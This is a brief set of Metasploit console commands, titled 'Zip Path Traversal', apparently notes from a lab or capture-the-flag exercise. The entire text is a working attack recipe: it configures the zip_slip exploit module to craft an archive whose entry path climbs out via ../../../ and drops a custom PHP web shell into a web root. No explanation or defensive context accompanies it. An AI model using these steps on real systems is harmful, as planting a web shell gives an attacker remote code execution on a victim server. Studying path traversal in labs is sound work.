Zip Path Traversal

msfconsole -q

use exploit/multi/fileformat/zip_slip

set ftype zip

set filename shell.zip

set targetpayloadpath ../../../root/web/shell.php

set payload generic/custom

set payloadfile /root/pwn/emporium/shell.php

run